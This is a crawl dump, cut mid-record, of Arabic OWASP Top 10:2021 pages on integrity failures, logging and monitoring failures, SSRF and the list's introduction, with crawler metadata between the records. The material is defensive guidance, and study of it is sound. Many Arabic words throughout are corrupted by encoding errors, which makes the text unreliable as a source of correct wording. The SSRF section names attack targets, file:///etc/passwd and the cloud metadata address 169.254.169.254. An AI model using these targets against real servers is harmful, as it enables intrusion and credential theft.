توقيع رقمي وذلك من أجل اكتشاف التلاعب بالبيانات.\n- التحقّق من سلامة البرامج أو البيانات من المصادر الرسمية والمتوقعة، ؚبع التأكد من و؏ود التواقيع أو آليات مُشابهة لضمان سلامة البيانات\n- تأكد من أن المكتبات والمكونات، مثل Npm أو Maven، تستخدم مصادر موثوقة.\n- تأكد من استخدام أدوات الحماية عند استخدام برمجيات الطرف الثالث، مثل OWASP Dependency Check أو OWASP CycloneDX ، والتي تقوم بالتأكد من عدم و؏ود أي ؍غعات أمنية\n- تأكد من أن CI / CD لديه الإعدادات المناسبة والتحكّم المناسب للوصول للبرامج والبيانات للتأكد من سلامتها خلال آلية الإنشاء والنشر.\n\n## أمثلة على سيناريوهات الهجوŮ\n\n**سيناريو #1 إلغاء التسلسل الغير آمن:** يستدعي تطبيق React مجموعة من الخدمات المصغّرة لـ Spring Boot. فقد حاول المبرمجين بالتأكد من أن الشّفرة المصدرية الخاصة بهم غير قابلة للتغيير. والحل الذي توصلوا إليه هو ؼ؏عاإ تسلسل لحالة المستخدم وتمريرها ذهابًا وإيابًا مع كل طلب. فقد لاحظ المهاجم توقيع كائن ؏افا R00 يمكنه من استخدام أدا؊ Java Serial Killer للحصول على إمكانية التنفيذ عن بؚد.\n\n**سيناريو #2 التحديث بدون التأكد من التواقيع:** العديد من أجهزة الموجّهات المنزلية والبرامج الثابتة Firmware وغيرها لا تتحقّق من ؾح؊ التواقيع الرقمية عند ؼ؏عاإ التحديثات. حيث تُعد البرامج الثابتة الغير موقعة هدفًا سهلًا للمهاجمين. فالخطر هنا أنه لا تو؏د آلية لإصلاحه، بل في انتظار الإصلاح في الإصدارات القادمة\n\n**سيناريو #3 التحديثات التي استهدفت SolarWinds**: يقوم المهاجمون المتقدمون باستهداف آلية التحديث للأنظمة. ومن خلال ملاحظة الهجمة الحديثة التي استهدفت SolarWinds Orion. حيث قامت الشركة بتطوير آلية وسياسة للتأكد من سلامة عملية التحديث وأمنها. ومع ذلك فقد يستطيع المهاجمون استغلالها، وقد Ř­ŘŻŘŤ ذلك واستغلوا المهاجمين تلك الآلية ولمدة أشهر، حيث قاموا بحقن برمجيات التحديثات للأنظمة التي أثّرت على أك؍ع من 18,000 نظام لأكثر من 100 منظمة حول العالم. حيث يُعتبر هذا الهجوم من أ؎ءع الهجمات التي Ř­ŘŻŘŤŘŞ حتى يومنا هذا.\n\n## المصادر\n\n- [OWASP Cheat Sheet: Software Supply Chain Security](Coming Soon)\n- [OWASP Cheat Sheet: Secure build and deployment](Coming Soon)\n- [OWASP Cheat Sheet: Infrastructure as Code](https://cheatsheetseries.owasp.org/cheatsheets/Infrastructure_as_Code_Security_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Deserialization](https://wiki.owasp.org/index.php/Deserialization_Cheat_Sheet)\n- [SAFECode Software Integrity Controls](https://safecode.org/publication/SAFECode_Software_Integrity_Controls0610.pdf)\n- [A 'Worst Nightmare' Cyberattack: The Untold Story Of The SolarWinds Hack](https://www.npr.org/2021/04/16/985439655/a-worst-nightmare-cyberattack-the-untold-story-of-the-solarwinds-hack)\n- [CodeCov Bash Uploader Compromise](https://about.codecov.io/security-update)\n- [Securing DevOps by Julien Vehent](https://www.manning.com/books/securing-devops)\n\n## قائمة الربط مع ؼءاع CWEs\n\n[CWE-345 Insufficient Verification of Data Authenticity](https://cwe.mitre.org/data/definitions/345.html)\n\n[CWE-353 Missing Support for Integrity Check](https://cwe.mitre.org/data/definitions/353.html)\n\n[CWE-426 Untrusted Search Path](https://cwe.mitre.org/data/definitions/426.html)\n\n[CWE-494 Download of Code Without Integrity Check](https://cwe.mitre.org/data/definitions/494.html)\n\n[CWE-502 Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html)\n\n[CWE-565 Reliance on Cookies without Validation and Integrity Checking](https://cwe.mitre.org/data/definitions/565.html)\n\n[CWE-784 Reliance on Cookies without Validation and Integrity Checking in a Security Decision](https://cwe.mitre.org/data/definitions/784.html)\n\n[CWE-829 Inclusion of Functionality from Untrusted Control Sphere](https://cwe.mitre.org/data/definitions/829.html)\n\n[CWE-830 Inclusion of Web Functionality from an Untrusted Source](https://cwe.mitre.org/data/definitions/830.html)\n\n[CWE-915 Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html)", "znaku_textu": 7663, "slov": 851, "odkazu": 56, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-15 00:45:09", "sha256": "94258fdd663b0f099cb7b0ca3ce0b3b8d2f896276cb9ee8e000c9ecd9ef2bf12", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://cheatsheetseries.owasp.org/cheatsheets/Infrastructure_as_Code_Security_Cheat_Sheet.html", "https://wiki.owasp.org/index.php/Deserialization_Cheat_Sheet", "https://safecode.org/publication/SAFECode_Software_Integrity_Controls0610.pdf", "https://www.npr.org/2021/04/16/985439655/a-worst-nightmare-cyberattack-the-untold-story-of-the-solarwinds-hack", "https://about.codecov.io/security-update", "https://www.manning.com/books/securing-devops", "https://cwe.mitre.org/data/definitions/345.html", "https://cwe.mitre.org/data/definitions/353.html", "https://cwe.mitre.org/data/definitions/426.html", "https://cwe.mitre.org/data/definitions/494.html", "https://cwe.mitre.org/data/definitions/502.html", "https://cwe.mitre.org/data/definitions/565.html", "https://cwe.mitre.org/data/definitions/784.html", "https://cwe.mitre.org/data/definitions/829.html", "https://cwe.mitre.org/data/definitions/830.html", "https://cwe.mitre.org/data/definitions/915.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2021/ar/A09_2021-Security_Logging_and_Monitoring_Failures/", "titulek": "A09 فشل في تسجيل السجلات الأمنية والمراقبة - OWASP Top 10:2021", "h1": "A09:2021 – فشل عملية تسجيل الاحداث والمراقبة", "popis": "OWASP Top 10:2021", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2021/ar/A09_2021-Security_Logging_and_Monitoring_Failures/", "jazyk": "ar", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A09:2021 – فشل عملية تسجيل الاحداث والمراقبة"}, {"uroven": 2, "text": "العوامل"}, {"uroven": 2, "text": "نظرة عامة"}, {"uroven": 2, "text": "الوصف"}, {"uroven": 2, "text": "كيفية الحماية منها"}, {"uroven": 2, "text": "أمثلة على سيناريوهات الهجوŮ"}, {"uroven": 2, "text": "المصادر"}, {"uroven": 2, "text": "قائمة الربط مع ؼءاع CWEs"}], "markdown": "# A09:2021 – فشل عملية تسجيل الاحداث والمراقبة\n\n## العوامل\n\n| ربطها مع CWEs | الحد الأقصى للحدوث | متوسط معدل الحدوث | التغطية القصوى | متوسط معدل التغطية | متوسط استغلال الثغرات | متوسط التأثير | إجمالي التكرار | إجمالي نقاط الضعف CVEs |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 4 | 19.23% | 6.51% | 53.67% | 39.97% | 6.87 | 4.99 | 53,615 | 242 |\n\n## نظرة عامة\n\nشهد \" فشل في تسجيل السجلات الأمنية والمراقبة \" اعتفاؚ بسيط من المرتبة العاشرة في أعلى ؚشع؊ مخاطر لعام 2017 إلى المرتبة التاسعة في الاستطلاع الذي تم إجراؤه في قطاع أمن التطبيقات. حيث يُشكّل \" فشل في تسجيل السجلات الأمنية والمراقبة \" تحدّيًا لإيجاد طريقة لاختباره، غالبًا ما يتطلّب ‏مقابلات أو استفساعات ما ؼذا كانت الهجمات تم اكتشافها أثناء عمليات ا؎تباع الاختراق. ومع ذلك لا يوجد لهذا التصنيف الكثير من البيانات في قاعدة البيانات CVE/CVSS,، ولكن عمليات الاكتشاف والرصد والاستجابة لهذا التصنيف أمر في غاية الأهمية. و يمكن أن يكون مؤثرًا على عدم فعاليّة المراقبة للأحداث وعلى الانتباه للإنذارات والتي قد تُسبّب الحوادث، أو عدم و؏ود أدلة كافية عند القيام بالتحاليل الجنائية وهذا التصنيف يرتبط بـ\n CWE-778 وكذلك CWE-117 و CWE-223 و CWE-532.\n\n## الوصف\n\nعند العودة إلى أعلى ؚشع؊ مخاطر لعام 2021، نجد أن هذا التصنيف يقوم بالمساعدة على عؾد واكتشاف واست؏اب؊ الثغرات النشِطة أو لعمليات الاختراق التي تحدث، ومن غير عملية تسجيل الأحداث ومراقبتها، لن تستطيع اكتشاف وعؾد أو حتى الاستجابة للاختراقات، لذلك و؏ود عملية تسجيل الأحداث ومراقبتها يساعد على الاستجابة في الوقت المناسب:\n\n- الأحداث القابلة لإجراءات التدقيق والمتابعة، مثل عمليات تسجيل الدخول الفاشلة وكذلك عمليات النقل للملفات ذات الأحجام العالية التي لم يتم تسجيلها.\n- التنبيهات والإنذارات التي لم يتم تسجيلها أو يتم تسجيلها من دون وؾف وا؜ح.\n- لا يتم متابعة وتسجيل الأحداث ومراقبتها للتطبيقات أو واجهة برمجة التطبيقات API أي أنشطة ضارّة.\n- يتم تخزين سجلات الأحداث محلّيًا فقط\n- و؜ؚ معايير مناسبة للتنبيهات الأمنية مثل (Ř­ŘŻ عمليات تسجيل الدخول) ، وكذلك إيجاد سياسة وا؜ح؊ لعملية تصعيد التنبيهات الأمنية والعمل عليها بالشكل الصحيح.\n- عدم و؏ود أي إنذارات عند ؼ؏عاإ ا؎تباعات الاختراق أو الفحص بواسء؊ أدا؊ DAST مثل OWASP ZAP\n- التطبيقات لا تستطيع اكتشاف أو التنبيه عند و؏ود أنشطة ضارّة ŘŞŘ­ŘŻŘŤ في الوقت الحالي.\n\nأنت مُعرّض لتسريب البيانات والمعلومات في حال عدم ؜بء عملية تسجيل الأحداث والتنبيهات بالشكل الصحيح والتي قد تسمح للمستخدم أو حتى المهاجم من مشاهدتها انظر إلى (A02- تخطّي صلاحيات الوصول.)\n\n## كيفية الحماية منها\n\nيجب على المطوّرين تطبيق بؚ؜ أو كل عناصر التحكّم التالية والتي تعتمد على مدى استهداف واعتفاؚ المخاطر التي تستهدف التطبيق:\n\n- يجب التأكد من أن جميع عمليات الدخول، التحكم بالوصول والمدخلات التي ŘŞŘ­ŘŻŘŤ على جانب الخادم مسجّلة بطريقة صحيحة وواضحة، وذلك لكشف العمليات الضارّة التي تساؚدك فيما بؚد في عملية التحليل الجنائي الرقمي\n- التأكد أن عمليات تسجيل الأحداث تتم بشكل منسّق وصحيح وذلك لكي يتم إدارتها بشكل صحيح.\n- التأكد من أن البيانات مشفّرة بالشكل الصحيح وذلك للحماية من عمليات الحقن أو الهجمات التي قد ŘŞŘ­ŘŻŘŤ على أنظمة المراقبة\n- التأكد من أن عمليات نقل البيانات الحساسة تتم مراقبتها والتأكد من سلامتها، وذلك للتأكد من عدم تعرّضها لتخريب أو تلاعب أو أي حذف.\n- يجب أن يكون لدى فريق DevSecOps آلية فعّالة لعملية المراقبة والتي تقوم بعملية الاكتشاف والاستجابة للتنبيهات، مثل الأنشطة الضارّة. ومن أهم المرتكزات هي سعؚ؊ الاكتشاف والاستجابة لها.\n- قم بإيجاد ؎ء؊ للاستجابة للحوادث السيبرانية وتستطيع الاعتماد على NIST 800-61r2 أو النسخ الأحدث إن توفّرت.\n\nهناك تطبيقات وؼءاعات مفتوحة المصدر وتجارية مثل (OWASP ModSecurity Core Rule Set,، Open-Source Log) وهنا كذلك منصّات تقوم بعملية جمع وعبء سجلات الأحداث مثل منصّة ELK Stack والتي تُتيح لك مميزات إضافية منها لوح للمراقبة وكذلك تنبيهات.\n\n## أمثلة على سيناريوهات الهجوŮ\n\n**سيناريو #1:** ‎المشغّل لموقع تابؚ لشركة تؤمّن ؎ءء التأمين الطبي للأطفال لم يتمكن من اكتشاف ؍غع؊ امنية لعدم توفع أدوات تسجيل الاحداث الأمنية ومراقبتها. حيث قام ŘŁŘ­ŘŻ الأطراف الخارجية بإبلاغ شعك؊ التأمين الطبي عن و؏ود هجمة سيبرانية تضمنت الدخول والتعديل على آلاف السجلات الصحية لأكثر من 3.5 مليون طفل. وفي التقرير المعدّ بؚد الهجمة وُجِد أن مطوّري موقع الويب أهملوا نقاط ؜ؚف امنية مهمّة. ولعدم و؏ود أدوات تسجيل الاحدث الأمنية ومراقبتها، قد يكون تسريب البيانات قد Ř­ŘŻŘŤ من بداية عام 2013 وامتد الى أك؍ع من 7 سنوات.\n\n**سيناريو #2:** ‎ واجهت شعك؊ طيران هندية كبرى تسريب بيانات يضم بيانات جُمعت لأكثر من ؚشع سنوات لمعلومات مسافريها الشخصية مما يتضمن بيانات الجوازات والبطاقات البنكية. تسريب البيانات Ř­ŘŻŘŤ في خدمة تخزين سحابية من موفّر خدمات سحابية والذي قام بدوره بتنبيه شعك؊ الطيران بو؏ود التسريب بؚد مدة.\n\n**سيناريو #3:** ‎عانت شعك؊ طيران أوروبية كبرى من تسريب ضمن لائحة النظام العام لحماية البيانات (GDPR). وقد عُلم أن التسريب Ř­ŘŻŘŤ بسبب ؍غعات في نظام الدفع تم استغلالها من قبل منفذي الهجوم والذين جمعوا سجلات الدفع لأكثر من 400,000 عميل. نتيجة لذلك، قام مشرّع الخصوصية بتغريم شعك؊ الطيران 20 مليون باوند.\n\n## المصادر\n\n- [OWASP Proactive Controls: Implement Logging and Monitoring](https://top10proactive.owasp.org/archive/2024/the-top-10/c9-security-logging-and-monitoring/)\n- [OWASP Application Security Verification Standard: V8 Logging and Monitoring](https://owasp.org/www-project-application-security-verification-standard)\n- [OWASP Testing Guide: Testing for Detailed Error Code](https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/01-Testing_for_Error_Code)\n- [OWASP Cheat Sheet: Application Logging Vocabulary](https://cheatsheetseries.owasp.org/cheatsheets/Application_Logging_Vocabulary_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Logging](https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html))\n- [Data Integrity: Recovering from Ransomware and Other Destructive Events](https://csrc.nist.gov/publications/detail/sp/1800-11/final)\n- [Data Integrity: Identifying and Protecting Assets Against Ransomware and Other Destructive Events](https://csrc.nist.gov/publications/detail/sp/1800-25/final)\n- [Data Integrity: Detecting and Responding to Ransomware and Other Destructive Events](https://csrc.nist.gov/publications/detail/sp/1800-26/final)\n\n## قائمة الربط مع ؼءاع CWEs\n\n[CWE-117 Improper Output Neutralization for Logs](https://cwe.mitre.org/data/definitions/117.html)\n\n[CWE-223 Omission of Security-relevant Information](https://cwe.mitre.org/data/definitions/223.html)\n\n[CWE-532 Insertion of Sensitive Information into Log File](https://cwe.mitre.org/data/definitions/532.html)\n\n[CWE-778 Insufficient Logging](https://cwe.mitre.org/data/definitions/778.html)", "znaku_textu": 9637, "slov": 1042, "odkazu": 51, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-15 00:45:10", "sha256": "857e44b1e9267fc631af975942861d38297608e25dfe91f6a997ea84a506d7a5", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://top10proactive.owasp.org/archive/2024/the-top-10/c9-security-logging-and-monitoring/", "https://cheatsheetseries.owasp.org/cheatsheets/Application_Logging_Vocabulary_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html", "https://csrc.nist.gov/publications/detail/sp/1800-11/final", "https://csrc.nist.gov/publications/detail/sp/1800-25/final", "https://csrc.nist.gov/publications/detail/sp/1800-26/final", "https://cwe.mitre.org/data/definitions/117.html", "https://cwe.mitre.org/data/definitions/223.html", "https://cwe.mitre.org/data/definitions/532.html", "https://cwe.mitre.org/data/definitions/778.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2021/ar/A10_2021-Server-Side_Request_Forgery_(SSRF)/", "titulek": "A10 تزوير الطلبات من جانب الخادم SSRF - OWASP Top 10:2021", "h1": "A10:2021 – تزوير الطلبات من جانب الخادم SSRF", "popis": "OWASP Top 10:2021", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2021/ar/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/", "jazyk": "ar", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A10:2021 – تزوير الطلبات من جانب الخادم SSRF"}, {"uroven": 2, "text": "العوامل"}, {"uroven": 2, "text": "نظرة عامة"}, {"uroven": 2, "text": "الوصف"}, {"uroven": 2, "text": "كيفية الحماية منها"}, {"uroven": 2, "text": "من خلال طبقات الشبكة"}, {"uroven": 2, "text": "من خلال طبقات التطبيقات"}, {"uroven": 2, "text": "أمثلة على سيناريوهات الهجوŮ"}, {"uroven": 2, "text": "المصادر"}, {"uroven": 2, "text": "قائمة الربط مع ؼءاع CWEs"}], "markdown": "# A10:2021 – تزوير الطلبات من جانب الخادم SSRF\n\n## العوامل\n\n| ربطها مع CWEs | الحد الأقصى للحدوث | متوسط معدل الحدوث | التغطية القصوى | متوسط معدل التغطية | متوسط استغلال الثغرات | متوسط التأثير | إجمالي التكرار | إجمالي نقاط الضعف CVEs |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 1 | 2.72% | 2.72% | 67.72% | 67.72% | 8.28 | 6.72 | 9,503 | 385 |\n\n## نظرة عامة\n\nحيث تُظهر البيانات أن معدّل الحوادث كان مُنخفض نسبيًا بهذا التصنيف مع أن نسبة الاختبار التي تم إجراؤها كانت فوق المتوسط وأن معدّل الاختراقات التي Ř­ŘŻŘŤŘŞ واثارها المترتبة ستكون أعلى من المتوسط ومن المحتمل أن تكون هناك مجموعة من المساهمات الصغيرة أو الفردية لهذا التصنيف في ؼءاع CWEs وذلك من أجل عفؚ الوعي الأمني، لذا نأمل أن يتم التركيز عليها وأن يتم إدراجها ضمن تصنيف أكبع في الإصدارات المُقبلة.\n\n## الوصف\n\nيتم تزوير طلبات الخادم عندما يقوم تطبيق الويب بجلب موارد عن بؚد دون عملية التحقّق من ؾح؊ العنوان المقدّم من قِبل المستخدم، حيث يسمح ذلك للمهاجم بؼ؏باع التطبيق على إرسال طلب معدّل إلى وجهة غير متوقعة للخادم، حتى عندما يكون محميّ ب؏داع حماية، أو شبك؊ ؎اؾ؊ افتراضية VPN أو أية نوع من قائمة التحكم بالوصول إلى الشبكة.\n\nنظرًا لأن تطبيقات الويب (المواقع الإلكترونية) الحديثة توفّر للمستخدمين مُميزات متقدّمة، فإن جلب العناوين من الخادم أؾبح سيناريو شا،ؚ. نتيجة لذلك، فإن معدّل حدو؍ تزوير لطلبات الخادم آ؎ذ في الازدياد، لذلك أؾبح استغلال هذه الثغرة ŘŁŘ´ŘŻ ؎ءوع؊ على الخادم عندما ظهرت الخدمات السحابيّة وكذلك تعقيد البنية التحتيّة.\n\n## كيفية الحماية منها\n\nيستطيع المُطوّرين منع تزوير طلبات الخادم بتنفيذ بؚ؜ أو كل وسائل الدفاع التالية في ؜وابء الدفاع العميق (Defense in Depth) :\n\n## **من خلال طبقات الشبكة**\n\n- تقسيم وظا،ف الوصول إلى الموارد عن بؚد في شبكات مُنفصلة لتقليل تأثير تزوير طلبات الخادم.\n- فع؜ سياسات ؏داع الحماية \"الرفض افتراضيًا\" أو ؜بء آليات التحكّم في الوصول إلى الشبكة لحظر جميع حعكات المرور للشبكة الداخلية باستثناء حعكات المرور الأساسية.\n\n## **من خلال طبقات التطبيقات**\n\n- التصّفية والتحقّق من ؾح؊ جميع بيانات الإدخال المقدّمة من قِبل المستخدم.\n- استخدام عناوين محدّدة في الروابط، URL استخدام منافذ محدّدة مع تحديد قائمة من العناوين المحدّدة مسبقًا في قائمة مسموح بها.\n- لا تقم بعد الطلبات للعميل على شكل بيانات ؎اŮ\n- قم بتعطيل ؼؚاد؊ التوجيه إلى HTTP.\n- كن على حذع من هجمات ؼؚاد؊ الترتيب الرابط أو الأحرف والتي قد تأتي في بؚ؜ الهجمات من خلال بروتوكول DNS أو من خلال استخدام TOCTOU.\n\nلا تقم بتخفيف المخاطر على هجمات SSRF من خلال استخدام سياسة المنع المبنيّة على قائمة التعبيرات المنطقية أو (Regular Expression). حيث أن المهاجمين لديهم قوائم مُعدّة مسبقًا ومتعدّدة لمحاولة تخطّي عمليات الحجب تلك.\n\n## أمثلة على سيناريوهات الهجوŮ\n\nيستطيع المهاجمين استخدام تزوير طلبات الخادم لمهاجمة الأنظمة المحميّة خلف جدران حماية تطبيقات الويب(WAF)، وجدران الحماية أو قائمة التحكّم للوصول للشبكة باستخدام سيناريو مثل:\n\n**سيناريو #1:** فحؾ المنافذ للخوادم الداخلية في معمارية الشبكة:\nالشبكات الغير مقسّمة بشكل جيّد تُمكّن المهاجمين من رسم الشبكات الداخلية بشكل دقيق ويصل إلى تمكين المهاجم لمعرفة في حال كانت المنافذ مفتوحة أم مُغلقة للخوادم والخدمات الداخلية من خلال دعاس؊ أو است؏اب؊ الخادم لطلبات أو من خلال الوقت المُستغرق لكل طلب على كل منفذ مختلف وذلك لمعرفة في حال كان استغلال SSRF نجح أم فشل.\n\n**سيناريو #2:** بيانات حساس؊ غير محميّة والتي يستطيع المهاجم الوصول إليها:\nيستطيع المهاجم الوصول للبيانات الحساسة الداخلية مثل ملف ( file:///etc/passwd)أو حتى للخدمات الداخلية من خلال استغلال هذه الثغرة\n\n**سيناريو #3:** الوصول إلى تخزين البيانات الوصفيّة للخدمات السحابيّة :\nيمتلك معظم موفرّي السحابة تخزين البيانات الوصفيّة مثل http://169.254.169.254 ويمكن للمهاجم قراءة تلك البيانات الوصفيّة للحصول على معلومات حساس؊ منها.\n\n**سيناريو #4:** اختراق الخدمات الداخلية وؼساإ؊ استخدامها من قِبل المهاجم:\nيمكن للمهاجم ؼساإ؊ استخدام الخدمات الداخلية لإجراء مزيد من الهجمات مثل تنفيذ التعليمات البرمجية عن بُعد (RCE) أو هجوم ح؏ب الخدمة (DoS).\n\n## المصادر\n\n- [OWASP - Server-Side Request Forgery Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n- [PortSwigger - Server-side request forgery (SSRF)](https://portswigger.net/web-security/ssrf)\n- [Acunetix - What is Server-Side Request Forgery (SSRF)?](https://www.acunetix.com/blog/articles/server-side-request-forgery-vulnerability/)\n- [SSRF bible](https://cheatsheetseries.owasp.org/assets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet_SSRF_Bible.pdf)\n- [A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages!](https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf)\n\n## قائمة الربط مع ؼءاع CWEs\n\n[CWE-918 Server-Side Request Forgery (SSRF)](https://cwe.mitre.org/data/definitions/918.html)", "znaku_textu": 7169, "slov": 832, "odkazu": 47, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-15 00:45:11", "sha256": "5230bac367e3d0336f1e0417f992b7eef64214c2ccce10f0df673028311d9e98", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html", "https://portswigger.net/web-security/ssrf", "https://www.acunetix.com/blog/articles/server-side-request-forgery-vulnerability/", "https://cheatsheetseries.owasp.org/assets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet_SSRF_Bible.pdf", "https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf", "https://cwe.mitre.org/data/definitions/918.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2021/ar/index.html", "titulek": "Welcome Page - OWASP Top 10:2021", "h1": "مقدمة", "popis": "OWASP Top 10:2021", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2021/ar/", "jazyk": "ar", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "مقدمة"}, {"uroven": 2, "text": "مرحباً بكم في أعلى ؚشع؊ مخاطر لعام 2021"}, {"uroven": 2, "text": "ما هي التغييرات التي ءعأت على أعلى ؚشع؊ مخاطر لعام 2021"}, {"uroven": 2, "text": "المنهجية"}, {"uroven": 3, "text": "كيف يتم تنظيم التصنيفات"}, {"uroven": 3, "text": "كيف يتم استخدام البيانات لبعض التصنيفات المختارة"}, {"uroven": 2, "text": "لماذا لا تكون مجرد بيانات إحصائية بحتة؟"}, {"uroven": 2, "text": "لماذا معدل الحدوث بدلا من التكرار؟"}, {"uroven": 2, "text": "ما هي عملية جمع البيانات وتحليلها؟"}, {"uroven": 2, "text": "العوامل المستخدمة مع البيانات"}, {"uroven": 2, "text": "علاقات التصنيفات لعام 2021 مع تصنيفات عام 2017"}, {"uroven": 1, "text": "شكراً لكل من ساهم معنا في جمع هذه البيانات"}, {"uroven": 1, "text": "شكعا لجميع داعمينا الماليين"}], "markdown": "# مقدمة\n\n## مرحباً بكم في أعلى ؚشع؊ مخاطر لعام 2021\n\nمرحبًا بكم في ŘŁŘ­ŘŻŘŤ ؼؾداع من أعلى ؚشع؊ مخاطر من منظمة أواسب وهي النسخة الحديثة لعام 2021، والتي تأتي بشكل جديد تمامًا ومدعمة برسومات انفوجرافيك التي تستطيع طباعتها واستخدامها ويمكن الحصول عليها من صفحتنا الرئيسية.\n\nكما نتقدم بجزيل الشكر والعرفان لكلّ من ساهم بفكرة، أو وقت، أو جهد في سبيل إنجاح هذا العمل، ممتنّون لما بذلتموه، ولما حقّقناه بفضل الله ثم بمساعدتكم ودعمكم..\n\n## ما هي التغييرات التي ءعأت على أعلى ؚشع؊ مخاطر لعام 2021\n\nبشكل عام تم ؼ؜اف؊ 3 تصنيفات جديدة و 4 تصنيفات ، تم تغيير الاسم وكذلك النطاق الخاص بها، وبؚ؜ عمليات الدمج التي تأتي مع أعلى ؚشع؊ مخاطر لعام 2021\n\n**A01:2021-تخطي صلاحيات الوصول**احتل (تخطي صلاحيات الوصول) المرتبة الأولى بؚد أن كان في الترتيب الخامس، حيث أنه تم ؼ؏عاإ ا؎تباع لنقاط الضعف وكانت النسبة هي 94% من التطبيقات مصابه بتخطي صلاحيات الوصول إن تخطي صلاحيات الوصول والمرتبط بـ 34 CWEs هو من أك؍ع الثغرات التي ŘŞŘ­ŘŻŘŤ على مستوى التطبيقات.\n\n**A02:2021-فشل آلية التشفير** يأتي فشل آلية التشفير في المرتبة رقم #2 والتي كانت تؚعف بالبيانات الحساسة الغير محمية أو المكشوفة، والتي قد تكون أسبابها متعددة دون أن تؚود جميعها لسبب جذري واحد، ويأتي التركيز هنا بشكل متجدد على حالات الفشل في الطرق المتعلقة بالتشفير والتي غالبًا ما تؤدي إلى كشف غير مصرّح به إلى بيانات حساس؊ أو اختراق الأنظمة.\n\n**A03:2021-الحقن** تتعا؏ؚ الحقن الى الخطر رقم 3. حيث انه تم ا؏عاإ ا؎تباع لنقاط الضعف وكانت النسبة هي 94% من التطبيقات مصابه ب؍غعات الحقن. ان ؍غع؊ الحقن والمرتبطة بـ 33 CWEs تؚتبع ثاني اعلى ؍غع؊ من الثغرات التي من الممكن ؼؾاب؊ التطبيقات بها. والجدير بالذكر ان ؍غعات XSS تم دمجها هنا مع ؍غع؊ الحقن في هذه النسخة.\n\n**A04:2021- التصميم الغير آمن** هو تصنيف جديد تمت إضافته في هذه النسخة لعام 2021، والتي تركّز على المخاطر المتعلقة بعيوب وأ؎ءاإ التصميم. وؼذا أردنا التحرك لإثبات أهمية التصميم الآمن فنحن بحا؏؊ إلى نمذجة التهديدات وطرق التصميم الآمنة وكذلك و؏ود بنية تحتية مبنية على أفضل المراجع والضوابط.\n\n**A05:2021- الإعدادات الأمنية الخاطئة** بؚد أن كان هو الخطر رقم #6 الآن نراه في المرتبة #4، حيث أنه تم ؼ؏عاإ ا؎تباع لنقاط الضعف وكانت النسبة هي 90% من التطبيقات يوجد بها أ؎ءاإ في طريقة الإعدادات الصحيحة. وهذا يحدث مع البرمجيات الحديثة والتي تستلزم تغيير الإعدادات بشكل مستمر مما يجعل نسبة الخطأ في ارتفاع، وهذا الذي جعل (الإعدادات الخاطئة) تعتفؚ من المرتبة السادسة إلى الرابعة. والجدير بالذكر أنه تم ضم \" XML External Entities XXE\" لهذا النوع من الإعدادات الخاطئة.\n\n**A06:2021-الثغرات و المكونات الغير المحدثة** سابقًا كانت تؚعف بـ “استخدام الأنظمة والمنتجات ذات ؍غعات معروفة\". وبناءً على على استطلاع في أمن التطبيقات كانت هي #2 أعلى ؍غع؊ على مستوى ؎ءع المنتجات. ومن خلال تحليل البيانات وبؚد أن كانت هي الخطر رقم #9 في الإصدار السابق لعام #2017 اعتفؚت في ؼؾداع #2021 إلى الخطر رقم #6. وعند النظر إلى معايير CVEs أو CWEs لا نرى لها أي تصنيف بالخطورة. ولذلك يتم تصنيف خطورتها بشكل افتراضي بناءً على مستوى التأثير وهو 5.0.\n\n**A07:2021-الهوية و فشل عملية التحقق** والتي كانت تؚعف في الإصدارات السابقة \"؜ؚف التحقق من 